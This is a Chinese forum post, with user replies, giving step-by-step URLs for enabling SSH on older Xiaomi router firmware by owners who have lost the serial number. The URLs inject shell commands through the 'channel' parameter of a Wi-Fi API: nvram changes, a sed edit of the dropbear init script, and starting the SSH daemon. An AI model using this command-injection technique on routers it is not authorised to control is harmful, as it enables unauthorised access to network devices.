小米 丢SN后开SSH

ss***

用2016年及以前开发版固件

用浏览器登陆小米路由器后台

地址栏一般是这样：

http://192.168.31.1/cgi-bin/luci/;stok=<你的stok值>/web/home#router

2. 将地址栏中的网址替换为下面

然后回车：

http://192.168.31.1/cgi-bin/luci/;stok=《你的stok》/api/xqnetwork/set_wifi_ap?ssid=tianbao&encryption=NONE&a
mp;enctype=NONE&channel=1%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit

看到网页中出现“{"msg":"未能连接到指定WiFi(Probe timeout)","code":1616}”的字样，表示该命令执行成功。

3. 继续将网址替换成下面

然后回车：

http://192.168.31.1/cgi-bin/luci/;stok=《你的stok》/api/xqnetwork/set_wifi_ap?ssid=
tianbao&encryption=NONE&
amp;enctype=NONE&channel=1%3Bsed%20%2Di%20%22%3Ax%3AN%3As%2Fif%20%5C%5B%2E%
2A%5C%3B%20then%5Cn%2E%2Areturn%200%5Cn%2E%2Afi%2F%23tb%2F%3Bb%20x%22%20%2Fe
tc%2Finit.d%2Fdropbear

你会看到标签页上有一个小圆圈在转，后面显示“正在等待” 字样，表示命令正在发送，请等待！

过一会儿，标签页的转动的圆圈会变成网页图标，文字会变成路由器的 IP 地址。

网页中出现“{"msg":"未能连接到指定WiFi(Probe timeout)","code":1616}”的字样，表示该命令执行成功。

4. 继续将网址替换成下面

然后回车：

http://192.168.31.1/cgi-bin/luci/;stok=《你的stok》/api/xqnetwork/set_wifi_ap?ssid=tianbao&encryption=NONE&a
mp;enctype=NONE&channel=1%3B%2Fetc%2Finit.d%2Fdropbear%20start

判断命令执行成功的方式同第2、3步相同，不再赘述！

5. 继续将网址替换成下面

然后回车：

http://192.168.31.1/cgi-bin/luci/;stok=《你的stok》/api/xqsystem/set_name_password?oldPwd=《你当前的后台管理密码》&newPwd=《新密码》

网页中出现“{"code":0}”的字样，表示修改密码成功！

zcw***

这个方法可以用，谢谢

gemi***

r1d可以用吗？stok值 在哪里查呀。。。备份的U盘被格式 化了。。刷不回原版了。。望大神看到了教教 ！

txm***

开启了之后  然后要怎么做呢

wangw***

你的stok值

这个值怎么来的呢？？？

坤***

最后一步失败了怎么办

gd***

改天用redmiAC2100试试